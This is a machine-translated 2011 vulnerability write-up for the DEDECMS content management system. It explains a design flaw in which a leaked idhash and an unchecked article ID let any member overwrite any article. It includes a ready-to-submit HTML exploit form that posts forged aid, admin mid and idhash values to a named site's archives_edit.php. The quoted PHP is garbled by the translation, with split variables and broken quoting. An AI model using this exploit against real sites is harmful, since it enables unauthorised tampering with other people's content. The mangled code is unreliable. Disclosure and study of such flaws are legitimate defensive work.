DEDECMS arbitrary Article Modification Vulnerability and repair

Abstract: Release Date: 2011-01.25 published by: Mind impact version: DEDECMS Official Website: http://www.dedecms.com Vulnerability Type: design defects vulnerability description: this vulnerability is not enough for a Trojan, but it is also a serious vulnerability to modify any article! Let's talk about the code in a classic conversation! Membersoft_edit.php 01 if (empty (...
Release date: 2011-01.25
Author: Mind

Affected Version: DEDECMS
Http://www.dedecms.com

Vulnerability Type: design defect
Vulnerability Description: this vulnerability is not enough to get a Trojan, but it is also a serious vulnerability to be able to modify any article!
Nonsense
Read the code in the classic dialogue!
Membersoft_edit.php

01 if (empty ($ dopost) // if it is null, access the file directly.

02 {

03 // read the archive information

04 $ arcQuery = "Select

05 dede_channeltype.typename as channelname,

06 dede_arcrank.membername as rankname,

07 dede_channeltype.arcsta,

08 dede_archives .*

09 From dede_archives

10 left join dede_channeltype on dede_channeltype.id = dede_archives.channel

11 left join dede_arcrank on dede_arcrank.rank = dede_archives.arcrank

12 where dede_archives.id = $ aid ";

13 // tragedy, no verification of the MID information AID. Here is the Article ID that can be customized!

14 $ dsql-> SetQuery ($ arcQuery );

15 $ row = $ dsql-> GetOne ($ arcQuery );

16

17 // omit a bunch of verification code ....

18 include (DEDEMEMBER. "/templets/soft_edit.htm"); // load the template [code]

19 // check the soft_edit.htm code again.

20 // one of them is

21 <input type = "hidden" name = "idhash" value = "<? Php echo md5 ($ row [id]. $ pai_cookie_encode);?> "/>
// Output idhash, which is very important.
// The idhash of the document to be modified is obtained.

// Use the file to modify the document.

View the code archives_edit.php

01 if ($ dopost = save)

02 {

03 include (DEDEMEMBER./inc/archives_check_edit.php); // verify idhash

04 // omit a bunch of useless code

05 $ upQuery = "Update 'dede _ archives 'set

06 ismake = $ ismake,

07 arcrank = $ arcrank,

08 typeid = $ typeid,

09 title = $ title,

10 litpic = $ litpic,

11 description = $ description,

12 keywords = $ keywords,

13 mtype = $ mtypesid,

14 flag = $ flag

15 where id = $ aid And mid = $ mid; "; // The default MID is 1, that is, the ADMIN administrator aid is the Article ID.

Now let's take a look at the archives_check_edit.php file.

1 $ ckhash = md5 ($ aid. $ pai_cookie_encode );

2 if ($ ckhash! = $ Idhash) // idhash is used in this way.

3 {

4. ShowMsg (the verification code is incorrect. You do not have the permission to modify this document or the operation is invalid !, -1 );

5 exit ();

6}
// The article is modified successfully.

 

EXP:

01 <form method = "post" action = "http://www.t00ls.net/member/archives_edit.php? Dopost = save "enctype =" multipart/form-data "id =" upload ">

02 <label>

03 <input name = "aid" type = "text" value = "44003"/> // here is the article ID. Find it in plus/view. php.

04 </label>

05 <label>

06 <input name = "mid" type = "text" value = "1"/> // The default ADMIN value for the MID of the publisher is 1.

07 </label>

08 <label>

09 <input name = "typeid" type = "text" value = "1"/> // if you do not know the topic ID, publish a new article and view the source code to find the published ID

10 </label>

11

12 <label>

13 <input name = "title" type = "text" value = "test"/> // article title

14 </label>

15

16 <label>

17 <input name = "description" type = "text" value = "test"/> // document content

18 </label>

19 <label>

20 <input name = "idhash" type = "text" value = "32bbac95e90baaffad905bb3d44edd9f"/> // how to obtain idhash in step 1

21 </label>

22 <label>

23 <input name = "vdcode" type = "text" value = "1"/> // verification code .. Get new articles

24 </label>

25 <div> </div>

26 <input name = "respondids" value = "confirm to modify" class = "coolbg np" type = "submit">

27 </form>

 
 

In this way, any article can be modified ..........

Fixed: the application has been submitted to the official website. Please upgrade it as soon as possible.